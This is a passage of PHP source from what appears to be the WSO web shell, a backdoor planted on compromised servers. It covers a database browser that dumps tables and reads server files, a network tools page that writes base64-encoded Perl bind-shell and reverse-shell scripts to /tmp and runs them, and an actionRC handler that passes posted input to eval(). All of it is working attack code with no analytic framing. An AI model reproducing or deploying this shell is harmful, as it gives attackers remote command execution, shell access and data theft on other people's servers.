2280
2281 return false;
2282
2283 }
2284
2285 function selectdb($db) {
2286
2287 switch($this->type) {
2288
2289 case 'mysql':
2290
2291 if (@mysql_select_db($db))return true;
2292
2293 break;
2294
2295 }
2296
2297 return false;
2298
2299 }
2300
2301 function query($str) {
2302
2303 switch($this->type) {
2304
2305 case 'mysql':
2306
2307 return $this->res = @mysql_query($str);
2308
2309 break;
2310
2311 case 'pgsql':
2312
2313 return $this->res = @pg_query($this->link,$str);
2314
2315 break;
2316
2317 }
2318
2319 return false;
2320
2321 }
2322
2323 function fetch() {
2324
2325 $res = func_num_args()?func_get_arg(0):$this->res;
2326
2327 switch($this->type) {
2328
2329 case 'mysql':
2330
2331 return @mysql_fetch_assoc($res);
2332
2333 break;
2334
2335 case 'pgsql':
2336
2337 return @pg_fetch_assoc($res);
2338
2339 break;
2340
2341 }
2342
2343 return false;
2344
2345 }
2346
2347 function listDbs() {
2348
2349 switch($this->type) {
2350
2351 case 'mysql':
2352
2353 return $this->query("SHOW databases");
2354
2355 break;
2356
2357 case 'pgsql':
2358
2359 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
2360
2361 break;
2362
2363 }
2364
2365 return false;
2366
2367 }
2368
2369 function listTables() {
2370
2371 switch($this->type) {
2372
2373 case 'mysql':
2374
2375 return $this->res = $this->query('SHOW TABLES');
2376
2377 break;
2378
2379 case 'pgsql':
2380
2381 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
2382
2383 break;
2384
2385 }
2386
2387 return false;
2388
2389 }
2390
2391 function error() {
2392
2393 switch($this->type) {
2394
2395 case 'mysql':
2396
2397 return @mysql_error();
2398
2399 break;
2400
2401 case 'pgsql':
2402
2403 return @pg_last_error();
2404
2405 break;
2406
2407 }
2408
2409 return false;
2410
2411 }
2412
2413 function setCharset($str) {
2414
2415 switch($this->type) {
2416
2417 case 'mysql':
2418
2419 if(function_exists('mysql_set_charset'))
2420
2421 return @mysql_set_charset($str, $this->link);
2422
2423 else
2424
2425 $this->query('SET CHARSET '.$str);
2426
2427 break;
2428
2429 case 'pgsql':
2430
2431 return @pg_set_client_encoding($this->link, $str);
2432
2433 break;
2434
2435 }
2436
2437 return false;
2438
2439 }
2440
2441 function loadFile($str) {
2442
2443 switch($this->type) {
2444
2445 case 'mysql':
2446
2447 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
2448
2449 break;
2450
2451 case 'pgsql':
2452
2453 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
2454
2455 $r=array();
2456
2457 while($i=$this->fetch())
2458
2459 $r[] = $i['file'];
2460
2461 $this->query('drop table wso2');
2462
2463 return array('file'=>implode("\n",$r));
2464
2465 break;
2466
2467 }
2468
2469 return false;
2470
2471 }
2472
2473 function dump($table, $fp = false) {
2474
2475 switch($this->type) {
2476
2477 case 'mysql':
2478
2479 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
2480
2481 $create = mysql_fetch_array($res);
2482
2483 $sql = $create[1].";\n";
2484
2485 if($fp) fwrite($fp, $sql); else echo($sql);
2486
2487 $this->query('SELECT * FROM `'.$table.'`');
2488
2489 $i = 0;
2490
2491 $head = true;
2492
2493 while($item = $this->fetch()) {
2494
2495 $sql = '';
2496
2497 if($i % 1000 == 0) {
2498
2499 $head = true;
2500
2501 $sql = ";\n\n";
2502
2503 }
2504
2505
2506
2507 $columns = array();
2508
2509 foreach($item as $k=>$v) {
2510
2511 if($v === null)
2512
2513 $item[$k] = "NULL";
2514
2515 elseif(is_int($v))
2516
2517 $item[$k] = $v;
2518
2519 else
2520
2521 $item[$k] = "'".@mysql_real_escape_string($v)."'";
2522
2523 $columns[] = "`".$k."`";
2524
2525 }
2526
2527 if($head) {
2528
2529 $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
2530
2531 $head = false;
2532
2533 } else
2534
2535 $sql .= "\n\t,(".implode(", ", $item).')';
2536
2537 if($fp) fwrite($fp, $sql); else echo($sql);
2538
2539 $i++;
2540
2541 }
2542
2543 if(!$head)
2544
2545 if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
2546
2547 break;
2548
2549 case 'pgsql':
2550
2551 $this->query('SELECT * FROM '.$table);
2552
2553 while($item = $this->fetch()) {
2554
2555 $columns = array();
2556
2557 foreach($item as $k=>$v) {
2558
2559 $item[$k] = "'".addslashes($v)."'";
2560
2561 $columns[] = $k;
2562
2563 }
2564
2565 $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
2566
2567 if($fp) fwrite($fp, $sql); else echo($sql);
2568
2569 }
2570
2571 break;
2572
2573 }
2574
2575 return false;
2576
2577 }
2578
2579 };
2580
2581 $db = new DbClass($_POST['type']);
2582
2583 if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
2584
2585 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
2586
2587 $db->selectdb($_POST['sql_base']);
2588
2589 switch($_POST['charset']) {
2590
2591 case "Windows-1251": $db->setCharset('cp1251'); break;
2592
2593 case "UTF-8": $db->setCharset('utf8'); break;
2594
2595 case "KOI8-R": $db->setCharset('koi8r'); break;
2596
2597 case "KOI8-U": $db->setCharset('koi8u'); break;
2598
2599 case "cp866": $db->setCharset('cp866'); break;
2600
2601 }
2602
2603 if(empty($_POST['file'])) {
2604
2605 ob_start("ob_gzhandler", 4096);
2606
2607 header("Content-Disposition: attachment; filename=dump.sql");
2608
2609 header("Content-Type: text/plain");
2610
2611 foreach($_POST['tbl'] as $v)
2612
2613 $db->dump($v);
2614
2615 exit;
2616
2617 } elseif($fp = @fopen($_POST['file'], 'w')) {
2618
2619 foreach($_POST['tbl'] as $v)
2620
2621 $db->dump($v, $fp);
2622
2623 fclose($fp);
2624
2625 unset($_POST['p2']);
2626
2627 } else
2628
2629 die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
2630
2631 }
2632
2633 wsoHeader();
2634
2635 echo "
2636
2637<h1>Sql browser</h1><div class=content>
2638
2639<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
2640
2641<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
2642
2643<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
2644
2645<td><select name='type'><option value='mysql' ";
2646
2647 if(@$_POST['type']=='mysql')echo 'selected';
2648
2649echo ">MySql</option><option value='pgsql' ";
2650
2651if(@$_POST['type']=='pgsql')echo 'selected';
2652
2653echo ">PostgreSql</option></select></td>
2654
2655<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
2656
2657<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
2658
2659<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
2660
2661 $tmp = "<input type=text name=sql_base value=''>";
2662
2663 if(isset($_POST['sql_host'])){
2664
2665 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
2666
2667 switch($_POST['charset']) {
2668
2669 case "Windows-1251": $db->setCharset('cp1251'); break;
2670
2671 case "UTF-8": $db->setCharset('utf8'); break;
2672
2673 case "KOI8-R": $db->setCharset('koi8r'); break;
2674
2675 case "KOI8-U": $db->setCharset('koi8u'); break;
2676
2677 case "cp866": $db->setCharset('cp866'); break;
2678
2679 }
2680
2681 $db->listDbs();
2682
2683 echo "<select name=sql_base><option value=''></option>";
2684
2685 while($item = $db->fetch()) {
2686
2687 list($key, $value) = each($item);
2688
2689 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
2690
2691 }
2692
2693 echo '</select>';
2694
2695 }
2696
2697 else echo $tmp;
2698
2699 }else
2700
2701 echo $tmp;
2702
2703 echo "</td>
2704
2705 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
2706
2707 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
2708
2709 </tr>
2710
2711 </table>
2712
2713 <script>
2714
2715 s_db='".@addslashes($_POST['sql_base'])."';
2716
2717 function fs(f) {
2718
2719 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
2720
2721 if(f.p1) f.p1.value='';
2722
2723 if(f.p2) f.p2.value='';
2724
2725 if(f.p3) f.p3.value='';
2726
2727 }
2728
2729 }
2730
2731 function st(t,l) {
2732
2733 d.sf.p1.value = 'select';
2734
2735 d.sf.p2.value = t;
2736
2737 if(l && d.sf.p3) d.sf.p3.value = l;
2738
2739 d.sf.submit();
2740
2741 }
2742
2743 function is() {
2744
2745 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
2746
2747 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
2748
2749 }
2750
2751 </script>";
2752
2753 if(isset($db) && $db->link){
2754
2755 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
2756
2757 if(!empty($_POST['sql_base'])){
2758
2759 $db->selectdb($_POST['sql_base']);
2760
2761 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
2762
2763 $tbls_res = $db->listTables();
2764
2765 while($item = $db->fetch($tbls_res)) {
2766
2767 list($key, $value) = each($item);
2768
2769 if(!empty($_POST['sql_count']))
2770
2771 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
2772
2773 $value = htmlspecialchars($value);
2774
2775 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
2776
2777 }
2778
2779 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
2780
2781 if(@$_POST['p1'] == 'select') {
2782
2783 $_POST['p1'] = 'query';
2784
2785 $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
2786
2787 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
2788
2789 $num = $db->fetch();
2790
2791 $pages = ceil($num['n'] / 30);
2792
2793 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
2794
2795 echo " of $pages";
2796
2797 if($_POST['p3'] > 1)
2798
2799 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
2800
2801 if($_POST['p3'] < $pages)
2802
2803 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
2804
2805 $_POST['p3']--;
2806
2807 if($_POST['type']=='pgsql')
2808
2809 $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
2810
2811 else
2812
2813 $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
2814
2815 echo "<br><br>";
2816
2817 }
2818
2819 if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
2820
2821 $db->query(@$_POST['p2']);
2822
2823 if($db->res !== false) {
2824
2825 $title = false;
2826
2827 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
2828
2829 $line = 1;
2830
2831 while($item = $db->fetch()) {
2832
2833 if(!$title) {
2834
2835 echo '<tr>';
2836
2837 foreach($item as $key => $value)
2838
2839 echo '<th>'.$key.'</th>';
2840
2841 reset($item);
2842
2843 $title=true;
2844
2845 echo '</tr><tr>';
2846
2847 $line = 2;
2848
2849 }
2850
2851 echo '<tr class="l'.$line.'">';
2852
2853 $line = $line==1?2:1;
2854
2855 foreach($item as $key => $value) {
2856
2857 if($value == null)
2858
2859 echo '<td><i>null</i></td>';
2860
2861 else
2862
2863 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
2864
2865 }
2866
2867 echo '</tr>';
2868
2869 }
2870
2871 echo '</table>';
2872
2873 } else {
2874
2875 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
2876
2877 }
2878
2879 }
2880
2881 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
2882
2883 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
2884
2885 echo htmlspecialchars($_POST['p2']);
2886
2887 echo "</textarea><br/><input type=submit value='Execute'>";
2888
2889 echo "</td></tr>";
2890
2891 }
2892
2893 echo "</table></form><br/>";
2894
2895 if($_POST['type']=='mysql') {
2896
2897 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
2898
2899 if($db->fetch())
2900
2901 echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
2902
2903 }
2904
2905 if(@$_POST['p1'] == 'loadfile') {
2906
2907 $file = $db->loadFile($_POST['p2']);
2908
2909 echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
2910
2911 }
2912
2913 } else {
2914
2915 echo htmlspecialchars($db->error());
2916
2917 }
2918
2919 echo '</div>';
2920
2921 wsoFooter();
2922
2923}
2924
2925function actionNetwork() {
2926
2927 wsoHeader();
2928
2929 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
2930
2931 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
2932
2933 echo "<h1>Network tools</h1><div class=content>
2934
2935 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
2936
2937 <span>Bind port to /bin/sh [perl]</span><br/>
2938
2939 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
2940
2941 </form>
2942
2943 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
2944
2945 <span>Back-connect [perl]</span><br/>
2946
2947 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
2948
2949 </form><br>";
2950
2951 if(isset($_POST['p1'])) {
2952
2953 function cf($f,$t) {
2954
2955 $w = @fopen($f,"w") or @function_exists('file_put_contents');
2956
2957 if($w){
2958
2959 @fwrite($w,@base64_decode($t));
2960
2961 @fclose($w);
2962
2963 }
2964
2965 }
2966
2967 if($_POST['p1'] == 'bpp') {
2968
2969 cf("/tmp/bp.pl",$bind_port_p);
2970
2971 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
2972
2973 sleep(1);
2974
2975 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
2976
2977 unlink("/tmp/bp.pl");
2978
2979 }
2980
2981 if($_POST['p1'] == 'bcp') {
2982
2983 cf("/tmp/bc.pl",$back_connect_p);
2984
2985 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
2986
2987 sleep(1);
2988
2989 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
2990
2991 unlink("/tmp/bc.pl");
2992
2993 }
2994
2995 }
2996
2997 echo '</div>';
2998
2999 wsoFooter();
3000
3001}
3002
3003function actionRC() {
3004
3005 if(!@$_POST['p1']) {
3006
3007 $a = array(
3008
3009 "uname" => php_uname(),
3010
3011 "php_version" => phpversion(),
3012
3013 "wso_version" => WSO_VERSION,
3014
3015 "safemode" => @ini_get('safe_mode')
3016
3017 );
3018
3019 echo serialize($a);
3020
3021 } else {
3022
3023 eval($_POST['p1']);
3024
3025 }
3026
3027}
3028
3029if( empty($_POST['a']) )
3030
3031 if(isset($default_action) && function_exists('action' . $default_action))
3032
3033 $_POST['a'] = $default_action;
3034
3035 else
3036
3037 $_POST['a'] = 'SecInfo';
3038
3039if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
3040
3041 call_user_func('action' . $_POST['a']);
3042
3043exit;